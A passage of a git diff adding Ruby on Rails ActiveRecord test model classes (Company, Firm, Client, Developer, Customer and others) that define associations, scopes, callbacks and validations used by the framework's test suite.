+end
+
+class SpecialCategory < Category
+end
diff --git a/activerecord/test/models/citation.rb b/activerecord/test/models/citation.rb
new file mode 100644
index 0000000..545aa81
--- /dev/null
+++ b/activerecord/test/models/citation.rb
@@ -0,0 +1,6 @@
+class Citation < ActiveRecord::Base
+ belongs_to :reference_of, :class_name => "Book", :foreign_key => :book2_id
+
+ belongs_to :book1, :class_name => "Book", :foreign_key => :book1_id
+ belongs_to :book2, :class_name => "Book", :foreign_key => :book2_id
+end
diff --git a/activerecord/test/models/club.rb b/activerecord/test/models/club.rb
new file mode 100644
index 0000000..24a65b0
--- /dev/null
+++ b/activerecord/test/models/club.rb
@@ -0,0 +1,15 @@
+class Club < ActiveRecord::Base
+ has_one :membership
+ has_many :memberships
+ has_many :members, :through => :memberships
+ has_many :current_memberships
+ has_one :sponsor
+ has_one :sponsored_member, :through => :sponsor, :source => :sponsorable, :source_type => "Member"
+ belongs_to :category
+
+ private
+
+ def private_method
+ "I'm sorry sir, this is a *private* club, not a *pirate* club"
+ end
+end
diff --git a/activerecord/test/models/college.rb b/activerecord/test/models/college.rb
new file mode 100644
index 0000000..c7495d7
--- /dev/null
+++ b/activerecord/test/models/college.rb
@@ -0,0 +1,5 @@
+require_dependency 'models/arunit2_model'
+
+class College < ARUnit2Model
+ has_many :courses
+end
diff --git a/activerecord/test/models/column_name.rb b/activerecord/test/models/column_name.rb
new file mode 100644
index 0000000..ec07205
--- /dev/null
+++ b/activerecord/test/models/column_name.rb
@@ -0,0 +1,3 @@
+class ColumnName < ActiveRecord::Base
+ def self.table_name () "colnametests" end
+end
\ No newline at end of file
diff --git a/activerecord/test/models/comment.rb b/activerecord/test/models/comment.rb
new file mode 100644
index 0000000..ede5fbd
--- /dev/null
+++ b/activerecord/test/models/comment.rb
@@ -0,0 +1,38 @@
+class Comment < ActiveRecord::Base
+ scope :limit_by, lambda {|l| limit(l) }
+ scope :containing_the_letter_e, -> { where("comments.body LIKE '%e%'") }
+ scope :not_again, -> { where("comments.body NOT LIKE '%again%'") }
+ scope :for_first_post, -> { where(:post_id => 1) }
+ scope :for_first_author, -> { joins(:post).where("posts.author_id" => 1) }
+ scope :created, -> { all }
+
+ belongs_to :post, :counter_cache => true
+ has_many :ratings
+
+ belongs_to :first_post, :foreign_key => :post_id
+
+ has_many :children, :class_name => 'Comment', :foreign_key => :parent_id
+ belongs_to :parent, :class_name => 'Comment', :counter_cache => :children_count
+
+ def self.what_are_you
+ 'a comment...'
+ end
+
+ def self.search_by_type(q)
+ where("#{QUOTED_TYPE} = ?", q)
+ end
+
+ def self.all_as_method
+ all
+ end
+ scope :all_as_scope, -> { all }
+end
+
+class SpecialComment < Comment
+end
+
+class SubSpecialComment < SpecialComment
+end
+
+class VerySpecialComment < Comment
+end
diff --git a/activerecord/test/models/company.rb b/activerecord/test/models/company.rb
new file mode 100644
index 0000000..3ca8f69
--- /dev/null
+++ b/activerecord/test/models/company.rb
@@ -0,0 +1,238 @@
+class AbstractCompany < ActiveRecord::Base
+ self.abstract_class = true
+end
+
+class Company < AbstractCompany
+ self.sequence_name = :companies_nonstd_seq
+
+ validates_presence_of :name
+
+ has_one :dummy_account, :foreign_key => "firm_id", :class_name => "Account"
+ has_many :contracts
+ has_many :developers, :through => :contracts
+
+ def arbitrary_method
+ "I am Jack's profound disappointment"
+ end
+
+ private
+
+ def private_method
+ "I am Jack's innermost fears and aspirations"
+ end
+end
+
+module Namespaced
+ class Company < ::Company
+ end
+
+ class Firm < ::Company
+ has_many :clients, :class_name => 'Namespaced::Client'
+ end
+
+ class Client < ::Company
+ end
+end
+
+class Firm < Company
+ ActiveSupport::Deprecation.silence do
+ has_many :clients, -> { order "id" }, :dependent => :destroy, :counter_sql =>
+ "SELECT COUNT(*) FROM companies WHERE firm_id = 1 " +
+ "AND (#{QUOTED_TYPE} = 'Client' OR #{QUOTED_TYPE} = 'SpecialClient' OR #{QUOTED_TYPE} = 'VerySpecialClient' )",
+ :before_remove => :log_before_remove,
+ :after_remove => :log_after_remove
+ end
+ has_many :unsorted_clients, :class_name => "Client"
+ has_many :unsorted_clients_with_symbol, :class_name => :Client
+ has_many :clients_sorted_desc, -> { order "id DESC" }, :class_name => "Client"
+ has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
+ has_many :clients_ordered_by_name, -> { order "name" }, :class_name => "Client"
+ has_many :unvalidated_clients_of_firm, :foreign_key => "client_of", :class_name => "Client", :validate => false
+ has_many :dependent_clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :dependent => :destroy
+ has_many :exclusively_dependent_clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
+ has_many :limited_clients, -> { limit 1 }, :class_name => "Client"
+ has_many :clients_with_interpolated_conditions, ->(firm) { where "rating > #{firm.rating}" }, :class_name => "Client"
+ has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
+ has_many :clients_like_ms_with_hash_conditions, -> { where(:name => 'Microsoft').order("id") }, :class_name => "Client"
+ ActiveSupport::Deprecation.silence do
+ has_many :clients_using_sql, :class_name => "Client", :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" }
+ has_many :clients_using_counter_sql, :class_name => "Client",
+ :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id} " },
+ :counter_sql => proc { "SELECT COUNT(*) FROM companies WHERE client_of = #{id}" }
+ has_many :clients_using_zero_counter_sql, :class_name => "Client",
+ :finder_sql => proc { "SELECT * FROM companies WHERE client_of = #{id}" },
+ :counter_sql => proc { "SELECT 0 FROM companies WHERE client_of = #{id}" }
+ has_many :no_clients_using_counter_sql, :class_name => "Client",
+ :finder_sql => 'SELECT * FROM companies WHERE client_of = 1000',
+ :counter_sql => 'SELECT COUNT(*) FROM companies WHERE client_of = 1000'
+ has_many :clients_using_finder_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE 1=1'
+ end
+ has_many :plain_clients, :class_name => 'Client'
+ has_many :readonly_clients, -> { readonly }, :class_name => 'Client'
+ has_many :clients_using_primary_key, :class_name => 'Client',
+ :primary_key => 'name', :foreign_key => 'firm_name'
+ has_many :clients_using_primary_key_with_delete_all, :class_name => 'Client',
+ :primary_key => 'name', :foreign_key => 'firm_name', :dependent => :delete_all
+ has_many :clients_grouped_by_firm_id, -> { group("firm_id").select("firm_id") }, :class_name => "Client"
+ has_many :clients_grouped_by_name, -> { group("name").select("name") }, :class_name => "Client"
+
+ has_one :account, :foreign_key => "firm_id", :dependent => :destroy, :validate => true
+ has_one :unvalidated_account, :foreign_key => "firm_id", :class_name => 'Account', :validate => false
+ has_one :account_with_select, -> { select("id, firm_id") }, :foreign_key => "firm_id", :class_name=>'Account'
+ has_one :readonly_account, -> { readonly }, :foreign_key => "firm_id", :class_name => "Account"
+ # added order by id as in fixtures there are two accounts for Rails Core
+ # Oracle tests were failing because of that as the second fixture was selected
+ has_one :account_using_primary_key, -> { order('id') }, :primary_key => "firm_id", :class_name => "Account"
+ has_one :account_using_foreign_and_primary_keys, :foreign_key => "firm_name", :primary_key => "name", :class_name => "Account"
+ has_one :deletable_account, :foreign_key => "firm_id", :class_name => "Account", :dependent => :delete
+
+ has_one :account_limit_500_with_hash_conditions, -> { where :credit_limit => 500 }, :foreign_key => "firm_id", :class_name => "Account"
+
+ has_one :unautosaved_account, :foreign_key => "firm_id", :class_name => 'Account', :autosave => false
+ has_many :accounts
+ has_many :unautosaved_accounts, :foreign_key => "firm_id", :class_name => 'Account', :autosave => false
+
+ has_many :association_with_references, -> { references(:foo) }, :class_name => 'Client'
+
+ def log
+ @log ||= []
+ end
+
+ private
+ def log_before_remove(record)
+ log << "before_remove#{record.id}"
+ end
+
+ def log_after_remove(record)
+ log << "after_remove#{record.id}"
+ end
+end
+
+class DependentFirm < Company
+ has_one :account, :foreign_key => "firm_id", :dependent => :nullify
+ has_many :companies, :foreign_key => 'client_of', :dependent => :nullify
+ has_one :company, :foreign_key => 'client_of', :dependent => :nullify
+end
+
+class RestrictedFirm < Company
+ ActiveSupport::Deprecation.silence do
+ has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict
+ has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict
+ end
+end
+
+class RestrictedWithExceptionFirm < Company
+ has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict_with_exception
+ has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict_with_exception
+end
+
+class RestrictedWithErrorFirm < Company
+ has_one :account, -> { order("id") }, :foreign_key => "firm_id", :dependent => :restrict_with_error
+ has_many :companies, -> { order("id") }, :foreign_key => 'client_of', :dependent => :restrict_with_error
+end
+
+class Client < Company
+ belongs_to :firm, :foreign_key => "client_of"
+ belongs_to :firm_with_basic_id, :class_name => "Firm", :foreign_key => "firm_id"
+ belongs_to :firm_with_select, -> { select("id") }, :class_name => "Firm", :foreign_key => "firm_id"
+ belongs_to :firm_with_other_name, :class_name => "Firm", :foreign_key => "client_of"
+ belongs_to :firm_with_condition, -> { where "1 = ?", 1 }, :class_name => "Firm", :foreign_key => "client_of"
+ belongs_to :firm_with_primary_key, :class_name => "Firm", :primary_key => "name", :foreign_key => "firm_name"
+ belongs_to :firm_with_primary_key_symbols, :class_name => "Firm", :primary_key => :name, :foreign_key => :firm_name
+ belongs_to :readonly_firm, -> { readonly }, :class_name => "Firm", :foreign_key => "firm_id"
+ belongs_to :bob_firm, -> { where :name => "Bob" }, :class_name => "Firm", :foreign_key => "client_of"
+ has_many :accounts, :through => :firm
+ belongs_to :account
+
+ class RaisedOnSave < RuntimeError; end
+ attr_accessor :raise_on_save
+ before_save do
+ raise RaisedOnSave if raise_on_save
+ end
+
+ class RaisedOnDestroy < RuntimeError; end
+ attr_accessor :raise_on_destroy
+ before_destroy do
+ raise RaisedOnDestroy if raise_on_destroy
+ end
+
+ # Record destruction so we can test whether firm.clients.clear has
+ # is calling client.destroy, deleting from the database, or setting
+ # foreign keys to NULL.
+ def self.destroyed_client_ids
+ @destroyed_client_ids ||= Hash.new { |h,k| h[k] = [] }
+ end
+
+ before_destroy do |client|
+ if client.firm
+ Client.destroyed_client_ids[client.firm.id] << client.id
+ end
+ true
+ end
+
+ before_destroy :overwrite_to_raise
+
+ # Used to test that read and question methods are not generated for these attributes
+ def rating?
+ query_attribute :rating
+ end
+
+ def overwrite_to_raise
+ end
+
+ class << self
+ private
+
+ def private_method
+ "darkness"
+ end
+ end
+end
+
+class ExclusivelyDependentFirm < Company
+ has_one :account, :foreign_key => "firm_id", :dependent => :delete
+ has_many :dependent_sanitized_conditional_clients_of_firm, -> { order("id").where("name = 'BigShot Inc.'") }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
+ has_many :dependent_conditional_clients_of_firm, -> { order("id").where("name = ?", 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
+ has_many :dependent_hash_conditional_clients_of_firm, -> { order("id").where(:name => 'BigShot Inc.') }, :foreign_key => "client_of", :class_name => "Client", :dependent => :delete_all
+end
+
+class SpecialClient < Client
+end
+
+class VerySpecialClient < SpecialClient
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :firm, :class_name => 'Company'
+ belongs_to :unautosaved_firm, :foreign_key => "firm_id", :class_name => "Firm", :autosave => false
+
+ def self.destroyed_account_ids
+ @destroyed_account_ids ||= Hash.new { |h,k| h[k] = [] }
+ end
+
+ # Test private kernel method through collection proxy using has_many.
+ def self.open
+ where('firm_name = ?', '37signals')
+ end
+
+ before_destroy do |account|
+ if account.firm
+ Account.destroyed_account_ids[account.firm.id] << account.id
+ end
+ true
+ end
+
+ validate :check_empty_credit_limit
+
+ protected
+
+ def check_empty_credit_limit
+ errors.add_on_empty "credit_limit"
+ end
+
+ private
+
+ def private_method
+ "Sir, yes sir!"
+ end
+end
diff --git a/activerecord/test/models/company_in_module.rb b/activerecord/test/models/company_in_module.rb
new file mode 100644
index 0000000..461bb0d
--- /dev/null
+++ b/activerecord/test/models/company_in_module.rb
@@ -0,0 +1,84 @@
+require 'active_support/core_ext/object/with_options'
+
+module MyApplication
+ module Business
+ class Company < ActiveRecord::Base
+ end
+
+ class Firm < Company
+ has_many :clients, -> { order("id") }, :dependent => :destroy
+ has_many :clients_sorted_desc, -> { order("id DESC") }, :class_name => "Client"
+ has_many :clients_of_firm, -> { order "id" }, :foreign_key => "client_of", :class_name => "Client"
+ has_many :clients_like_ms, -> { where("name = 'Microsoft'").order("id") }, :class_name => "Client"
+ ActiveSupport::Deprecation.silence do
+ has_many :clients_using_sql, :class_name => "Client", :finder_sql => 'SELECT * FROM companies WHERE client_of = #{id}'
+ end
+
+ has_one :account, :class_name => 'MyApplication::Billing::Account', :dependent => :destroy
+ end
+
+ class Client < Company
+ belongs_to :firm, :foreign_key => "client_of"
+ belongs_to :firm_with_other_name, :class_name => "Firm", :foreign_key => "client_of"
+
+ class Contact < ActiveRecord::Base; end
+ end
+
+ class Developer < ActiveRecord::Base
+ has_and_belongs_to_many :projects
+ validates_length_of :name, :within => (3..20)
+ end
+
+ class Project < ActiveRecord::Base
+ has_and_belongs_to_many :developers
+ end
+
+ module Prefixed
+ def self.table_name_prefix
+ 'prefixed_'
+ end
+
+ class Company < ActiveRecord::Base
+ end
+
+ class Firm < Company
+ self.table_name = 'companies'
+ end
+
+ module Nested
+ class Company < ActiveRecord::Base
+ end
+ end
+ end
+ end
+
+ module Billing
+ class Firm < ActiveRecord::Base
+ self.table_name = 'companies'
+ end
+
+ module Nested
+ class Firm < ActiveRecord::Base
+ self.table_name = 'companies'
+ end
+ end
+
+ class Account < ActiveRecord::Base
+ with_options(:foreign_key => :firm_id) do |i|
+ i.belongs_to :firm, :class_name => 'MyApplication::Business::Firm'
+ i.belongs_to :qualified_billing_firm, :class_name => 'MyApplication::Billing::Firm'
+ i.belongs_to :unqualified_billing_firm, :class_name => 'Firm'
+ i.belongs_to :nested_qualified_billing_firm, :class_name => 'MyApplication::Billing::Nested::Firm'
+ i.belongs_to :nested_unqualified_billing_firm, :class_name => 'Nested::Firm'
+ end
+
+ validate :check_empty_credit_limit
+
+ protected
+
+ def check_empty_credit_limit
+ errors.add_on_empty "credit_limit"
+ end
+ end
+ end
+end
diff --git a/activerecord/test/models/computer.rb b/activerecord/test/models/computer.rb
new file mode 100644
index 0000000..cc8deb1
--- /dev/null
+++ b/activerecord/test/models/computer.rb
@@ -0,0 +1,3 @@
+class Computer < ActiveRecord::Base
+ belongs_to :developer, :foreign_key=>'developer'
+end
diff --git a/activerecord/test/models/contact.rb b/activerecord/test/models/contact.rb
new file mode 100644
index 0000000..a1cb8d6
--- /dev/null
+++ b/activerecord/test/models/contact.rb
@@ -0,0 +1,40 @@
+module ContactFakeColumns
+ def self.extended(base)
+ base.class_eval do
+ establish_connection(:adapter => 'fake')
+
+ connection.tables = [table_name]
+ connection.primary_keys = {
+ table_name => 'id'
+ }
+
+ column :name, :string
+ column :age, :integer
+ column :avatar, :binary
+ column :created_at, :datetime
+ column :awesome, :boolean
+ column :preferences, :string
+ column :alternative_id, :integer
+
+ serialize :preferences
+
+ belongs_to :alternative, :class_name => 'Contact'
+ end
+ end
+
+ # mock out self.columns so no pesky db is needed for these tests
+ def column(name, sql_type = nil, options = {})
+ connection.merge_column(table_name, name, sql_type, options)
+ end
+end
+
+class Contact < ActiveRecord::Base
+ extend ContactFakeColumns
+end
+
+class ContactSti < ActiveRecord::Base
+ extend ContactFakeColumns
+ column :type, :string
+
+ def type; 'ContactSti' end
+end
diff --git a/activerecord/test/models/contract.rb b/activerecord/test/models/contract.rb
new file mode 100644
index 0000000..2cf5aa7
--- /dev/null
+++ b/activerecord/test/models/contract.rb
@@ -0,0 +1,19 @@
+class Contract < ActiveRecord::Base
+ belongs_to :company
+ belongs_to :developer
+
+ before_save :hi
+ after_save :bye
+
+ attr_accessor :hi_count, :bye_count
+
+ def hi
+ @hi_count ||= 0
+ @hi_count += 1
+ end
+
+ def bye
+ @bye_count ||= 0
+ @bye_count += 1
+ end
+end
diff --git a/activerecord/test/models/country.rb b/activerecord/test/models/country.rb
new file mode 100644
index 0000000..7db9a4e
--- /dev/null
+++ b/activerecord/test/models/country.rb
@@ -0,0 +1,7 @@
+class Country < ActiveRecord::Base
+
+ self.primary_key = :country_id
+
+ has_and_belongs_to_many :treaties
+
+end
diff --git a/activerecord/test/models/course.rb b/activerecord/test/models/course.rb
new file mode 100644
index 0000000..f3d0e05
--- /dev/null
+++ b/activerecord/test/models/course.rb
@@ -0,0 +1,6 @@
+require_dependency 'models/arunit2_model'
+
+class Course < ARUnit2Model
+ belongs_to :college
+ has_many :entrants
+end
diff --git a/activerecord/test/models/customer.rb b/activerecord/test/models/customer.rb
new file mode 100644
index 0000000..7e8e825
--- /dev/null
+++ b/activerecord/test/models/customer.rb
@@ -0,0 +1,77 @@
+class Customer < ActiveRecord::Base
+ cattr_accessor :gps_conversion_was_run
+
+ composed_of :address, :mapping => [ %w(address_street street), %w(address_city city), %w(address_country country) ], :allow_nil => true
+ composed_of :balance, :class_name => "Money", :mapping => %w(balance amount), :converter => Proc.new { |balance| balance.to_money }
+ composed_of :gps_location, :allow_nil => true
+ composed_of :non_blank_gps_location, :class_name => "GpsLocation", :allow_nil => true, :mapping => %w(gps_location gps_location),
+ :converter => lambda { |gps| self.gps_conversion_was_run = true; gps.blank? ? nil : GpsLocation.new(gps)}
+ composed_of :fullname, :mapping => %w(name to_s), :constructor => Proc.new { |name| Fullname.parse(name) }, :converter => :parse
+end
+
+class Address
+ attr_reader :street, :city, :country
+
+ def initialize(street, city, country)
+ @street, @city, @country = street, city, country
+ end
+
+ def close_to?(other_address)
+ city == other_address.city && country == other_address.country
+ end
+
+ def ==(other)
+ other.is_a?(self.class) && other.street == street && other.city == city && other.country == country
+ end
+end
+
+class Money
+ attr_reader :amount, :currency
+
+ EXCHANGE_RATES = { "USD_TO_DKK" => 6, "DKK_TO_USD" => 0.6 }
+
+ def initialize(amount, currency = "USD")
+ @amount, @currency = amount, currency
+ end
+
+ def exchange_to(other_currency)
+ Money.new((amount * EXCHANGE_RATES["#{currency}_TO_#{other_currency}"]).floor, other_currency)
+ end
+end
+
+class GpsLocation
+ attr_reader :gps_location
+
+ def initialize(gps_location)
+ @gps_location = gps_location
+ end
+
+ def latitude
+ gps_location.split("x").first
+ end
+
+ def longitude
+ gps_location.split("x").last
+ end
+
+ def ==(other)
+ self.latitude == other.latitude && self.longitude == other.longitude
+ end
+end
+
+class Fullname
+ attr_reader :first, :last
+
+ def self.parse(str)
+ return nil unless str
+ new(*str.to_s.split)
+ end
+
+ def initialize(first, last = nil)
+ @first, @last = first, last
+ end
+
+ def to_s
+ "#{first} #{last.upcase}"
+ end
+end
diff --git a/activerecord/test/models/dashboard.rb b/activerecord/test/models/dashboard.rb
new file mode 100644
index 0000000..1b3b545
--- /dev/null
+++ b/activerecord/test/models/dashboard.rb
@@ -0,0 +1,3 @@
+class Dashboard < ActiveRecord::Base
+ self.primary_key = :dashboard_id
+end
diff --git a/activerecord/test/models/default.rb b/activerecord/test/models/default.rb
new file mode 100644
index 0000000..887e9cc
--- /dev/null
+++ b/activerecord/test/models/default.rb
@@ -0,0 +1,2 @@
+class Default < ActiveRecord::Base
+end
diff --git a/activerecord/test/models/developer.rb b/activerecord/test/models/developer.rb
new file mode 100644
index 0000000..81bc87b
--- /dev/null
+++ b/activerecord/test/models/developer.rb
@@ -0,0 +1,250 @@
+require 'ostruct'
+
+module DeveloperProjectsAssociationExtension
+ def find_most_recent
+ order("id DESC").first
+ end
+end
+
+module DeveloperProjectsAssociationExtension2
+ def find_least_recent
+ order("id ASC").first
+ end
+end
+
+class Developer < ActiveRecord::Base
+ has_and_belongs_to_many :projects do
+ def find_most_recent
+ order("id DESC").first
+ end
+ end
+
+ has_and_belongs_to_many :projects_extended_by_name,
+ -> { extending(DeveloperProjectsAssociationExtension) },
+ :class_name => "Project",
+ :join_table => "developers_projects",
+ :association_foreign_key => "project_id"
+
+ has_and_belongs_to_many :projects_extended_by_name_twice,
+ -> { extending(DeveloperProjectsAssociationExtension, DeveloperProjectsAssociationExtension2) },
+ :class_name => "Project",
+ :join_table => "developers_projects",
+ :association_foreign_key => "project_id"
+
+ has_and_belongs_to_many :projects_extended_by_name_and_block,
+ -> { extending(DeveloperProjectsAssociationExtension) },
+ :class_name => "Project",
+ :join_table => "developers_projects",
+ :association_foreign_key => "project_id" do
+ def find_least_recent
+ order("id ASC").first
+ end
+ end
+
+ has_and_belongs_to_many :special_projects, :join_table => 'developers_projects', :association_foreign_key => 'project_id'
+
+ has_many :audit_logs
+
+ scope :jamises, -> { where(:name => 'Jamis') }
+
+ validates_inclusion_of :salary, :in => 50000..200000
+ validates_length_of :name, :within => 3..20
+
+ before_create do |developer|
+ developer.audit_logs.build :message => "Computer created"
+ end
+
+ def log=(message)
+ audit_logs.build :message => message
+ end
+
+ after_find :track_instance_count
+ cattr_accessor :instance_count
+
+ def track_instance_count
+ self.class.instance_count ||= 0
+ self.class.instance_count += 1
+ end
+ private :track_instance_count
+
+end
+
+class AuditLog < ActiveRecord::Base
+ belongs_to :developer, :validate => true
+ belongs_to :unvalidated_developer, :class_name => 'Developer'
+end
+
+DeveloperSalary = Struct.new(:amount)
+class DeveloperWithAggregate < ActiveRecord::Base
+ self.table_name = 'developers'
+ composed_of :salary, :class_name => 'DeveloperSalary', :mapping => [%w(salary amount)]
+end
+
+class DeveloperWithBeforeDestroyRaise < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects, :join_table => 'developers_projects', :foreign_key => 'developer_id'
+ before_destroy :raise_if_projects_empty!
+
+ def raise_if_projects_empty!
+ raise if projects.empty?
+ end
+end
+
+class DeveloperWithSelect < ActiveRecord::Base
+ self.table_name = 'developers'
+ default_scope { select('name') }
+end
+
+class DeveloperWithIncludes < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_many :audit_logs, :foreign_key => :developer_id
+ default_scope { includes(:audit_logs) }
+end
+
+class DeveloperFilteredOnJoins < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
+
+ def self.default_scope
+ joins(:projects).where(:projects => { :name => 'Active Controller' })
+ end
+end
+
+class DeveloperOrderedBySalary < ActiveRecord::Base
+ self.table_name = 'developers'
+ default_scope { order('salary DESC') }
+
+ scope :by_name, -> { order('name DESC') }
+end
+
+class DeveloperCalledDavid < ActiveRecord::Base
+ self.table_name = 'developers'
+ default_scope { where("name = 'David'") }
+end
+
+class LazyLambdaDeveloperCalledDavid < ActiveRecord::Base
+ self.table_name = 'developers'
+ default_scope lambda { where(:name => 'David') }
+end
+
+class LazyBlockDeveloperCalledDavid < ActiveRecord::Base
+ self.table_name = 'developers'
+ default_scope { where(:name => 'David') }
+end
+
+class CallableDeveloperCalledDavid < ActiveRecord::Base
+ self.table_name = 'developers'
+ default_scope OpenStruct.new(:call => where(:name => 'David'))
+end
+
+class ClassMethodDeveloperCalledDavid < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ def self.default_scope
+ where(:name => 'David')
+ end
+end
+
+class ClassMethodReferencingScopeDeveloperCalledDavid < ActiveRecord::Base
+ self.table_name = 'developers'
+ scope :david, -> { where(:name => 'David') }
+
+ def self.default_scope
+ david
+ end
+end
+
+class LazyBlockReferencingScopeDeveloperCalledDavid < ActiveRecord::Base
+ self.table_name = 'developers'
+ scope :david, -> { where(:name => 'David') }
+ default_scope { david }
+end
+
+class DeveloperCalledJamis < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ default_scope { where(:name => 'Jamis') }
+ scope :poor, -> { where('salary < 150000') }
+end
+
+class PoorDeveloperCalledJamis < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ default_scope -> { where(:name => 'Jamis', :salary => 50000) }
+end
+
+class InheritedPoorDeveloperCalledJamis < DeveloperCalledJamis
+ self.table_name = 'developers'
+
+ default_scope -> { where(:salary => 50000) }
+end
+
+class MultiplePoorDeveloperCalledJamis < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ default_scope -> { where(:name => 'Jamis') }
+ default_scope -> { where(:salary => 50000) }
+end
+
+module SalaryDefaultScope
+ extend ActiveSupport::Concern
+
+ included { default_scope { where(:salary => 50000) } }
+end
+
+class ModuleIncludedPoorDeveloperCalledJamis < DeveloperCalledJamis
+ self.table_name = 'developers'
+
+ include SalaryDefaultScope
+end
+
+class EagerDeveloperWithDefaultScope < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
+
+ default_scope { includes(:projects) }
+end
+
+class EagerDeveloperWithClassMethodDefaultScope < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
+
+ def self.default_scope
+ includes(:projects)
+ end
+end
+
+class EagerDeveloperWithLambdaDefaultScope < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
+
+ default_scope lambda { includes(:projects) }
+end
+
+class EagerDeveloperWithBlockDefaultScope < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
+
+ default_scope { includes(:projects) }
+end
+
+class EagerDeveloperWithCallableDefaultScope < ActiveRecord::Base
+ self.table_name = 'developers'
+ has_and_belongs_to_many :projects, -> { order('projects.id') }, :foreign_key => 'developer_id', :join_table => 'developers_projects'
+
+ default_scope OpenStruct.new(:call => includes(:projects))
+end
+
+class ThreadsafeDeveloper < ActiveRecord::Base
+ self.table_name = 'developers'
+
+ def self.default_scope
+ sleep 0.05 if Thread.current[:long_default_scope]
+ limit(1)
+ end
+end
+
+class CachedDeveloper < ActiveRecord::Base
+ self.table_name = "developers"
+ self.cache_timestamp_format = :number
+end
diff --git a/activerecord/test/models/dog.rb b/activerecord/test/models/dog.rb
new file mode 100644
index 0000000..b02b844
--- /dev/null
+++ b/activerecord/test/models/dog.rb
@@ -0,0 +1,5 @@
+class Dog < ActiveRecord::Base
+ belongs_to :breeder, class_name: "DogLover", counter_cache: :bred_dogs_count
+ belongs_to :trainer, class_name: "DogLover", counter_cache: :trained_dogs_count
+ belongs_to :doglover, foreign_key: :dog_lover_id, class_name: "DogLover", counter_cache: true
+end
diff --git a/activerecord/test/models/dog_lover.rb b/activerecord/test/models/dog_lover.rb
new file mode 100644
index 0000000..2c5be94
--- /dev/null
+++ b/activerecord/test/models/dog_lover.rb
@@ -0,0 +1,5 @@
+class DogLover < ActiveRecord::Base
+ has_many :trained_dogs, class_name: "Dog", foreign_key: :trainer_id, dependent: :destroy
+ has_many :bred_dogs, class_name: "Dog", foreign_key: :breeder_id
+ has_many :dogs
+end
diff --git a/activerecord/test/models/edge.rb b/activerecord/test/models/edge.rb
new file mode 100644
index 0000000..55e0c31
--- /dev/null
+++ b/activerecord/test/models/edge.rb
@@ -0,0 +1,5 @@
+# This class models an edge in a directed graph.
+class Edge < ActiveRecord::Base
+ belongs_to :source, :class_name => 'Vertex', :foreign_key => 'source_id'
+ belongs_to :sink, :class_name => 'Vertex', :foreign_key => 'sink_id'
+end
diff --git a/activerecord/test/models/electron.rb b/activerecord/test/models/electron.rb
new file mode 100644
index 0000000..35af9f6
--- /dev/null
+++ b/activerecord/test/models/electron.rb
@@ -0,0 +1,3 @@
+class Electron < ActiveRecord::Base
+ belongs_to :molecule
+end
diff --git a/activerecord/test/models/engine.rb b/activerecord/test/models/engine.rb
new file mode 100644
index 0000000..851ff8c
--- /dev/null
+++ b/activerecord/test/models/engine.rb
@@ -0,0 +1,4 @@
+class Engine < ActiveRecord::Base
+ belongs_to :my_car, :class_name => 'Car', :foreign_key => 'car_id', :counter_cache => :engines_count
+end
+
diff --git a/activerecord/test/models/entrant.rb b/activerecord/test/models/entrant.rb
new file mode 100644
index 0000000..4682ce4
--- /dev/null
+++ b/activerecord/test/models/entrant.rb
@@ -0,0 +1,3 @@
+class Entrant < ActiveRecord::Base
+ belongs_to :course
+end
diff --git a/activerecord/test/models/essay.rb b/activerecord/test/models/essay.rb
new file mode 100644
index 0000000..ec4b982
--- /dev/null
+++ b/activerecord/test/models/essay.rb
@@ -0,0 +1,5 @@
+class Essay < ActiveRecord::Base
+ belongs_to :writer, :primary_key => :name, :polymorphic => true
+ belongs_to :category, :primary_key => :name
+ has_one :owner, :primary_key => :name
+end
diff --git a/activerecord/test/models/event.rb b/activerecord/test/models/event.rb
new file mode 100644
index 0000000..99fa0fe
--- /dev/null
+++ b/activerecord/test/models/event.rb
@@ -0,0 +1,3 @@
+class Event < ActiveRecord::Base
+ validates_uniqueness_of :title
+end
\ No newline at end of file
diff --git a/activerecord/test/models/eye.rb b/activerecord/test/models/eye.rb
new file mode 100644
index 0000000..dc8ae2b
--- /dev/null
+++ b/activerecord/test/models/eye.rb
@@ -0,0 +1,37 @@
+class Eye < ActiveRecord::Base
+ attr_reader :after_create_callbacks_stack
+ attr_reader :after_update_callbacks_stack
+ attr_reader :after_save_callbacks_stack
+
+ # Callbacks configured before the ones has_one sets up.
+ after_create :trace_after_create
+ after_update :trace_after_update
+ after_save :trace_after_save
+
+ has_one :iris
+ accepts_nested_attributes_for :iris
+
+ # Callbacks configured after the ones has_one sets up.
+ after_create :trace_after_create2
+ after_update :trace_after_update2
+ after_save :trace_after_save2
